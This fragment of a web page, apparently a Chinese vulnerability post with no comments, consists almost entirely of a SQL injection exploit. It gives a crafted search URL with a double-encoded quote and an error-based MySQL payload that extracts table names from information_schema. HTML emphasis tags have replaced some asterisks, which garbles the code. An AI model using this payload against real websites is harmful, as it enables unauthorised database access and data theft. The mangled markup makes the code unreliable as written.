<p>构造<a href="http://www.xxx.cc/index.php?ac=search&at=taglist&tagkey=%2527,tags" rel="nofollow">www.xxx.cc/index.php?ac=search&at=taglist&tagkey=%2527,tags</a>) or(select 1 from(select count(<em>),concat((select (select concat(0x7e,0x27,table_name,0x27,0x7e)) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)</em>2))x from information_schema.tables group by x)a)%23<br></p>
暂无评论